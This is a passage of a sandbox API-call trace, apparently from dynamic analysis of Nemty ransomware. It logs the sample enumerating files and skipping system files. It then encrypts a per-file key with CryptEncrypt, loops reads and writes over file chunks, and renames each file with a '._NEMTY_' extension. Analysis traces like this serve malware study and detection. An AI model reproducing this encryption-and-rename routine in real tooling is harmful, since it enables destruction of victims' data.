nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.990] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.991] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.008] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.008] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.008] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.008] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.018] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.018] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.027] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.027] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.036] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.036] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.042] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.042] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.042] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.042] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.048] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.048] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0157.048] CloseHandle (hObject=0xffffffff) returned 0 [0157.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0157.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0157.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0157.049] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0157.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0157.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0157.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0157.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0157.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0157.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0157.049] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\42.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\42.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\42.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\42.png._nemty_kgobjgd_")) returned 0 [0157.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0157.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0157.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0157.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0157.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0157.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0157.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0157.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0157.049] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ae6f707, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="43.png", cAlternateFileName="")) returned 1 [0157.049] lstrcmpiW (lpString1="43.png", lpString2=".") returned 1 [0157.049] lstrcmpiW (lpString1="43.png", lpString2="..") returned 1 [0157.049] lstrcmpiW (lpString1="43.png", lpString2="...") returned 1 [0157.049] lstrcmpiW (lpString1="43.png", lpString2="windows") returned -1 [0157.049] lstrcmpiW (lpString1="43.png", lpString2="$RECYCLE.BIN") returned 1 [0157.049] lstrcmpiW (lpString1="43.png", lpString2="rsa") returned -1 [0157.049] lstrcmpiW (lpString1="43.png", lpString2="NTDETECT.COM") returned -1 [0157.049] lstrcmpiW (lpString1="43.png", lpString2="ntldr") returned -1 [0157.049] lstrcmpiW (lpString1="43.png", lpString2="MSDOS.SYS") returned -1 [0157.049] lstrcmpiW (lpString1="43.png", lpString2="IO.SYS") returned -1 [0157.049] lstrcmpiW (lpString1="43.png", lpString2="boot.ini") returned -1 [0157.049] lstrcmpiW (lpString1="43.png", lpString2="boot.ini") returned -1 [0157.049] lstrcmpiW (lpString1="43.png", lpString2="AUTOEXEC.BAT") returned -1 [0157.050] lstrcmpiW (lpString1="43.png", lpString2="ntuser.dat") returned -1 [0157.050] lstrcmpiW (lpString1="43.png", lpString2="desktop.ini") returned -1 [0157.050] lstrcmpiW (lpString1="43.png", lpString2="CONFIG.SYS") returned -1 [0157.050] lstrcmpiW (lpString1="43.png", lpString2="RECYCLER") returned -1 [0157.050] lstrcmpiW (lpString1="43.png", lpString2="BOOTSECT.BAK") returned -1 [0157.050] lstrcmpiW (lpString1="43.png", lpString2="bootmgr") returned -1 [0157.050] lstrcmpiW (lpString1="43.png", lpString2="programdata") returned -1 [0157.050] lstrcmpiW (lpString1="43.png", lpString2="appdata") returned -1 [0157.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="43.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0157.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="43.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="43.png", lpUsedDefaultChar=0x0) returned 6 [0157.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="43.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0157.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="43.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="43.png", lpUsedDefaultChar=0x0) returned 6 [0157.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="43.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0157.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="43.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="43.png", lpUsedDefaultChar=0x0) returned 6 [0157.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="43.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0157.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="43.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="43.png", lpUsedDefaultChar=0x0) returned 6 [0157.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0157.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0157.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0157.050] Sleep (dwMilliseconds=0x5) [0157.058] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1142d830, dwHighDateTime=0x1d561e8)) [0157.058] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1142d830, dwHighDateTime=0x1d561e8)) [0157.058] GetLastError () returned 0x5 [0157.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0157.059] GetLastError () returned 0x5 [0157.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0157.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0157.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0157.059] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0157.059] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0157.059] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0157.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0157.059] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="iYeQf48iM3YpJUgFxotN1Umn63dbpfL6sPDmwRMukhJVMul+JZM+S90aixi+JBlJ\r\ne2dPRaFjfE8hn0bFsKumH2FySgPDSh6SVGy0Px3LeasBRpm6w9PAfbFhy5WfpfYE\r\n87TjBPhC8fh/9lqje/eUSimWxnaZidE2OHAfKrRXkuSd0YK5GLNOhQrtI+FKhwtX\r\nX/j9F6ambKqK6xaEhHIqeMVgbW2LwUh9FmgzPFPIsevdDME8jolnB/MTnVK8+PGO\r\nEHApYmGu+nHk+BjjQdBe2Q8zzFTDGl3RXQE4JlJ7BfrhhboXCqc7qPzv2s3bwzxO\r\n9cMJmV6ioSb01iUakSrHOQ==\r\n", pcchString=0x653e91c) returned 1 [0157.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0157.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0157.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0157.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0157.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0157.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0157.059] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\43.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\43.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0157.059] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0157.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0157.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.059] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.070] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.070] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.079] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.079] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.088] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.088] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.088] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.088] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.097] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.097] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.097] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.097] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.106] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.107] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.107] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.116] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.116] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.125] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.125] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.135] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.135] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.145] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.145] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.154] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.154] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.160] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, 